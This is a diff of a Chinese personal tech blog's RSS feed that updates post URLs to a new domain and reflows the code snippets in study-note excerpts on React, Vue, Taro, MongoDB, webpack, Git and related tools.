 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
return[
&amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;,
&amp;lt;div&amp;gt;word&amp;lt;/div&amp;gt;
]
}
或者
-render(){
return &amp;quot;hallo word&amp;quot;
}
错误处理
+render(){ return[ &amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;, &amp;lt;div&amp;gt;word&amp;lt;/div&amp;gt; ] } 或者
+render(){ return &amp;quot;hallo word&amp;quot; } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
console.log(error,info)
}
Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -838,15 +838,15 @@ yarn add react-markdown
 导入
 import ReactMarkdown from &amp;lsquo;react-markdown&amp;rsquo;
 测试
-let markdown =
&amp;quot;**这是加粗的文字**\n\n&amp;quot; +
&amp;quot;*这是倾斜的文字*`\n\n&amp;quot; +
&amp;quot;***这是斜体加粗的文字***\n\n&amp;quot; +
&amp;quot;~~这是加删除线的文字~~ \n\n&amp;quot; +
&amp;quot;`console.log(111)` \n\n&amp;quot; +
&amp;quot;``` var a=11; ```&amp;quot;;
&amp;lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&amp;gt;
</description>
+let markdown = &amp;quot;**这是加粗的文字**\n\n&amp;quot; + &amp;quot;*这是倾斜的文字*`\n\n&amp;quot; + &amp;quot;***这是斜体加粗的文字***\n\n&amp;quot; + &amp;quot;~~这是加删除线的文字~~ \n\n&amp;quot; + &amp;quot;`console.log(111)` \n\n&amp;quot; + &amp;quot;``` var a=11; ```&amp;quot;; &amp;lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&amp;gt; </description>
     </item>
     
     <item>
       <title>Taro框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/92/</link>
+      <link>https://chenjunlinabc.github.io/posts/92/</link>
       <pubDate>Tue, 31 Aug 2021 12:15:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/92/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/92/</guid>
       <description>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
@@ -872,15 +872,15 @@ ReactNative yarn dev:rn
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from &#39;@tarojs/taro&#39;
import { View, Text } from &#39;@tarojs/components&#39;
import &#39;./index.less&#39;
function Main(){
const [count ,setUserName] = useState(&amp;quot;hallo word&amp;quot;)
return ( &amp;lt;View&amp;gt;
&amp;lt;Text&amp;gt;{count}&amp;lt;/Text&amp;gt;
&amp;lt;/View&amp;gt;
)
}
export default Main
子组件</description>
+import Taro, { useState } from &#39;@tarojs/taro&#39; import { View, Text } from &#39;@tarojs/components&#39; import &#39;./index.less&#39; function Main(){ const [count ,setUserName] = useState(&amp;quot;hallo word&amp;quot;) return ( &amp;lt;View&amp;gt; &amp;lt;Text&amp;gt;{count}&amp;lt;/Text&amp;gt; &amp;lt;/View&amp;gt; ) } export default Main 子组件</description>
     </item>
     
     <item>
       <title>算法学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/79/</link>
+      <link>https://chenjunlinabc.github.io/posts/79/</link>
       <pubDate>Mon, 09 Aug 2021 20:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/79/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/79/</guid>
       <description>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
@@ -896,15 +896,15 @@ O(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Comple
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
if(nums == null || nums.length == 0){
return 0
}
let b = 0
for(let a=0;a&amp;lt;nums.length;a++){
if(nums[b]!=nums[a]){
nums[++b] = nums[a]
}
}
return ++b
}
b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</description>
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a&amp;lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</description>
     </item>
     
     <item>
       <title>MongoDB学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/76/</link>
+      <link>https://chenjunlinabc.github.io/posts/76/</link>
       <pubDate>Sun, 08 Aug 2021 14:20:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/76/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/76/</guid>
       <description>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
@@ -954,10 +954,10 @@ db.createCollection(&amp;ldquo;test&amp;rdquo;, { capped : true, autoIndexId : t
     
     <item>
       <title>NextJS学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/74/</link>
+      <link>https://chenjunlinabc.github.io/posts/74/</link>
       <pubDate>Sat, 07 Aug 2021 23:26:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/74/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/74/</guid>
       <description>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
@@ -972,7 +972,7 @@ yarn init
 在scripts下加添加
 &amp;ldquo;dev&amp;rdquo; : &amp;ldquo;next&amp;rdquo;, &amp;ldquo;build&amp;rdquo;: &amp;ldquo;next build&amp;rdquo;, &amp;ldquo;start&amp;rdquo;: &amp;ldquo;next start&amp;rdquo;
 创建个js文件
-function Hallo(){
return(
&amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt;
)
}
export default Hallo
yarn dev调试
+function Hallo(){ return( &amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt; ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -986,15 +986,15 @@ yarn create-next-app demo
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from &amp;quot;next/link&amp;quot;
&amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt;
Link不支持直接加兄弟标签，起码要有一个父级标签</description>
+import Link from &amp;quot;next/link&amp;quot; &amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt; Link不支持直接加兄弟标签，起码要有一个父级标签</description>
     </item>
     
     <item>
       <title>深入学习vuejs</title>
-      <link>https://xiaochenabc123.github.io/posts/75/</link>
+      <link>https://chenjunlinabc.github.io/posts/75/</link>
       <pubDate>Sat, 07 Aug 2021 23:25:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/75/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/75/</guid>
       <description>Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
@@ -1017,15 +1017,15 @@ npm run serve
 yarn start/yarn run dev
 如果运行报错error Component name &amp;ldquo;Home&amp;rdquo; should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
transpileDependencies: true,
lintOnSave: false
})
这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</description>
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</description>
     </item>
     
     <item>
       <title>gulp学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/73/</link>
+      <link>https://chenjunlinabc.github.io/posts/73/</link>
       <pubDate>Fri, 06 Aug 2021 20:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/73/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/73/</guid>
       <description>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
 全局安装gulp
 npm install &amp;ndash;global gulp-cli
@@ -1052,30 +1052,30 @@ gulp.dest() // 执行完任务的文件最后在哪里
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require(&amp;quot;gulp&amp;quot;);
gulp.task(&amp;quot;test&amp;quot;, function() {
return console.log(&amp;quot;hallo gulp&amp;quot;);
});
执行test任务（在终端，应用根目录下）
+let gulp = require(&amp;quot;gulp&amp;quot;); gulp.task(&amp;quot;test&amp;quot;, function() { return console.log(&amp;quot;hallo gulp&amp;quot;); }); 执行test任务（在终端，应用根目录下）
 gulp test</description>
     </item>
     
     <item>
       <title>深入学习React</title>
-      <link>https://xiaochenabc123.github.io/posts/63/</link>
+      <link>https://chenjunlinabc.github.io/posts/63/</link>
       <pubDate>Sun, 25 Jul 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/63/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/63/</guid>
       <description>setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
})
console.log(this.state.count)
this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
})
console.log(this.state.count)
state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
},() =&amp;gt; {
console.log(this.state.count)
})
可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } },() =&amp;gt; { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
&amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;
)
console.log(Abc)
可以看到输出返回的是一个js对象
+const Abc = ( &amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt; ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -1092,10 +1092,10 @@ state只存储和组件渲染相关的数据，例如列表数据，而不用来
     
     <item>
       <title>TypeScript学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/58/</link>
+      <link>https://chenjunlinabc.github.io/posts/58/</link>
       <pubDate>Sun, 18 Jul 2021 15:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/58/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/58/</guid>
       <description>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
@@ -1137,10 +1137,10 @@ let hallo: number = 123;</description>
     
     <item>
       <title>React学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/55/</link>
+      <link>https://chenjunlinabc.github.io/posts/55/</link>
       <pubDate>Fri, 09 Jul 2021 22:23:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/55/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/55/</guid>
       <description>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
@@ -1150,12 +1150,12 @@ react-dom包提供DOM相关的功能
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-&amp;lt;script type=&amp;quot;text/babel&amp;quot;&amp;gt;
ReactDOM.render(
&amp;lt;h1&amp;gt;hallo,react!!!&amp;lt;/h1&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
);
&amp;lt;/script&amp;gt;
使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+&amp;lt;script type=&amp;quot;text/babel&amp;quot;&amp;gt; ReactDOM.render( &amp;lt;h1&amp;gt;hallo,react!!!&amp;lt;/h1&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ); &amp;lt;/script&amp;gt; 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = &amp;lt;h1&amp;gt;hallo&amp;lt;/h1&amp;gt;;
像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = &amp;lt;h1&amp;gt;hallo&amp;lt;/h1&amp;gt;; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
return yes.name;
}
const yes = {
name: &amp;quot;react&amp;quot;
};
const hallo = &amp;lt;h1&amp;gt;hallo,{hallo(yes)}&amp;lt;/h1&amp;gt;;
ReactDOM.render(
hallo,
document.getElementById(&amp;quot;app&amp;quot;)
);
当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement(&amp;quot;h1&amp;quot;,{class: &amp;quot;main&amp;quot;},React.createElement(&amp;quot;p&amp;quot;,null,&amp;quot;hallo word!!!&amp;quot;))
/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
ReactDOM.render(hallo,document.getElementById(&amp;quot;app&amp;quot;))
/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: &amp;quot;react&amp;quot; }; const hallo = &amp;lt;h1&amp;gt;hallo,{hallo(yes)}&amp;lt;/h1&amp;gt;; ReactDOM.render( hallo, document.getElementById(&amp;quot;app&amp;quot;) ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement(&amp;quot;h1&amp;quot;,{class: &amp;quot;main&amp;quot;},React.createElement(&amp;quot;p&amp;quot;,null,&amp;quot;hallo word!!!&amp;quot;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(&amp;quot;app&amp;quot;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
@@ -1165,15 +1165,15 @@ npm start或者yarn start
     
     <item>
       <title>Ajax学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/54/</link>
+      <link>https://chenjunlinabc.github.io/posts/54/</link>
       <pubDate>Sat, 03 Jul 2021 15:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/54/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/54/</guid>
       <description>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
const express = require(&amp;quot;express&amp;quot;);
// 导入path
const patg = require(&amp;quot;path&amp;quot;);
// 创建web服务器
const app = express();
// 静态资源访问服务
app.use(express.static(path.join(__dirname,&amp;quot;public&amp;quot;)));
app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{
res.send(&amp;quot;hallo&amp;quot;);
});
// 监听端口
app.listen(3000);
console.log(&amp;quot;服务器启动成功&amp;quot;)
nodemon app.js
+// 导入express const express = require(&amp;quot;express&amp;quot;); // 导入path const patg = require(&amp;quot;path&amp;quot;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,&amp;quot;public&amp;quot;))); app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{ res.send(&amp;quot;hallo&amp;quot;); }); // 监听端口 app.listen(3000); console.log(&amp;quot;服务器启动成功&amp;quot;) nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -1183,18 +1183,18 @@ hallo.open(&amp;ldquo;GET&amp;rdquo;,&amp;ldquo;https://httpbin.org/get&amp;quot
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
console.log(hallo.responseText)
}
服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{
res.send({&amp;quot;name&amp;quot; : &amp;quot;root&amp;quot;});
});
json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
console.</description>
+app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{ res.send({&amp;quot;name&amp;quot; : &amp;quot;root&amp;quot;}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console.</description>
     </item>
     
     <item>
       <title>深入学习vue组件</title>
-      <link>https://xiaochenabc123.github.io/posts/53/</link>
+      <link>https://chenjunlinabc.github.io/posts/53/</link>
       <pubDate>Sat, 03 Jul 2021 11:16:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/53/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/53/</guid>
       <description>组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
@@ -1203,24 +1203,24 @@ var responseText = JSON.parse(hallo.responseText);
console.</description>
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;datas-a&amp;gt;&amp;lt;/datas-a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const datas ={
template: `
&amp;lt;div&amp;gt;
hallo
&amp;lt;/div&amp;gt;
`
}
const hallo = Vue.createApp({
components: {
&amp;quot;datas-a&amp;quot; : datas
}
}).mount(&#39;#app&#39;)
&amp;lt;/script&amp;gt;
components对象，键为自定义元素的名称，值为组件的实质对象
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;datas-a&amp;gt;&amp;lt;/datas-a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const datas ={ template: ` &amp;lt;div&amp;gt; hallo &amp;lt;/div&amp;gt; ` } const hallo = Vue.createApp({ components: { &amp;quot;datas-a&amp;quot; : datas } }).mount(&#39;#app&#39;) &amp;lt;/script&amp;gt; components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
components: {
&amp;quot;datas-a&amp;quot; : dataa
}
}
模块系统
+const datab ={ components: { &amp;quot;datas-a&amp;quot; : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from &amp;lsquo;./datas&amp;rsquo;
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
component: {
props:{
abc: String,
xyz: Boolean,
},
template: `&amp;lt;h1&amp;gt;{{abc.</description>
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `&amp;lt;h1&amp;gt;{{abc.</description>
     </item>
     
     <item>
       <title>正则表达式学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/52/</link>
+      <link>https://chenjunlinabc.github.io/posts/52/</link>
       <pubDate>Fri, 02 Jul 2021 18:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/52/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/52/</guid>
       <description>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
 JavaScript创建正则表达式
 使用RegExp对象创建
@@ -1260,10 +1260,10 @@ var hallo = /a*/;</description>
     
     <item>
       <title>微信小程序学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/48/</link>
+      <link>https://chenjunlinabc.github.io/posts/48/</link>
       <pubDate>Sun, 27 Jun 2021 12:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/48/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/48/</guid>
       <description>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
 微信之父张小龙是这样描述小程序的：
 小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。
@@ -1294,8 +1294,8 @@ index.js页面逻辑
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-&amp;quot;pages&amp;quot;:[
&amp;quot;pages/index/index&amp;quot;,
&amp;quot;pages/demo/demo&amp;quot;
],
window属性是设置小程序的窗口样式，例如：
-&amp;quot;window&amp;quot;:{
&amp;quot;backgroundTextStyle&amp;quot;:&amp;quot;light&amp;quot;,
&amp;quot;navigationBarBackgroundColor&amp;quot;: &amp;quot;#fff&amp;quot;, // 导航栏背景颜色
&amp;quot;navigationBarTitleText&amp;quot;: &amp;quot;Weixin&amp;quot;, // 导航栏文本
&amp;quot;navigationBarTextStyle&amp;quot;:&amp;quot;black&amp;quot; // 导航栏文本颜色
},
从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+&amp;quot;pages&amp;quot;:[ &amp;quot;pages/index/index&amp;quot;, &amp;quot;pages/demo/demo&amp;quot; ], window属性是设置小程序的窗口样式，例如：
+&amp;quot;window&amp;quot;:{ &amp;quot;backgroundTextStyle&amp;quot;:&amp;quot;light&amp;quot;, &amp;quot;navigationBarBackgroundColor&amp;quot;: &amp;quot;#fff&amp;quot;, // 导航栏背景颜色 &amp;quot;navigationBarTitleText&amp;quot;: &amp;quot;Weixin&amp;quot;, // 导航栏文本 &amp;quot;navigationBarTextStyle&amp;quot;:&amp;quot;black&amp;quot; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
@@ -1319,10 +1319,10 @@ text元素是表示行内文本，和span类似</description>
     
     <item>
       <title>webpack学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/47/</link>
+      <link>https://chenjunlinabc.github.io/posts/47/</link>
       <pubDate>Thu, 24 Jun 2021 10:11:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/47/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/47/</guid>
       <description>webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
@@ -1340,15 +1340,15 @@ require(&amp;quot;!style-loader!css-loader!./abc.css&amp;quot;); document.write(
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
entry: &#39;入口文件的路径&#39;,
output: {
path:__dirname,
filename: &#39;最后输出到哪个文件的文件名&#39;
},
module: {
rules: [{
test: &#39;处理什么格式的文件&#39;,
use:[
{
loader: &#39;依赖包&#39;
}
]
}
]
}
};
模块化</description>
+module.exports = { entry: &#39;入口文件的路径&#39;, output: { path:__dirname, filename: &#39;最后输出到哪个文件的文件名&#39; }, module: { rules: [{ test: &#39;处理什么格式的文件&#39;, use:[ { loader: &#39;依赖包&#39; } ] } ] } }; 模块化</description>
     </item>
     
     <item>
       <title>Git版本管理系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/30/</link>
+      <link>https://chenjunlinabc.github.io/posts/30/</link>
       <pubDate>Wed, 16 Jun 2021 14:51:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/30/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/30/</guid>
       <description>git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
@@ -1373,10 +1373,10 @@ git reset &amp;ndash;hard HEAD^ #回退上一个版本，上上一个版本就
     
     <item>
       <title>python基础语法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/28/</link>
+      <link>https://chenjunlinabc.github.io/posts/28/</link>
       <pubDate>Wed, 16 Jun 2021 14:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/28/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/28/</guid>
       <description>安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
@@ -1421,10 +1421,10 @@ python可以处理整型任意大小的整数，也可以使用二进制代表
     
     <item>
       <title>vuejs基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/23/</link>
+      <link>https://chenjunlinabc.github.io/posts/23/</link>
       <pubDate>Wed, 16 Jun 2021 10:13:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/23/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/23/</guid>
       <description>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
@@ -1437,58 +1437,58 @@ browser版本：包含esm,浏览器模块
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{&amp;hellip;}}，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;p&amp;gt;{{ hallovuejs }}&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
hallovuejs: &amp;quot;hallo vuejs!&amp;quot;
}
}
}
Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;)
&amp;lt;/script&amp;gt;
vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;a v-bind:href=&amp;quot;url&amp;quot;&amp;gt;{{ main }}&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
url:&amp;quot;https://xiaochenabc123.test.com&amp;quot;,
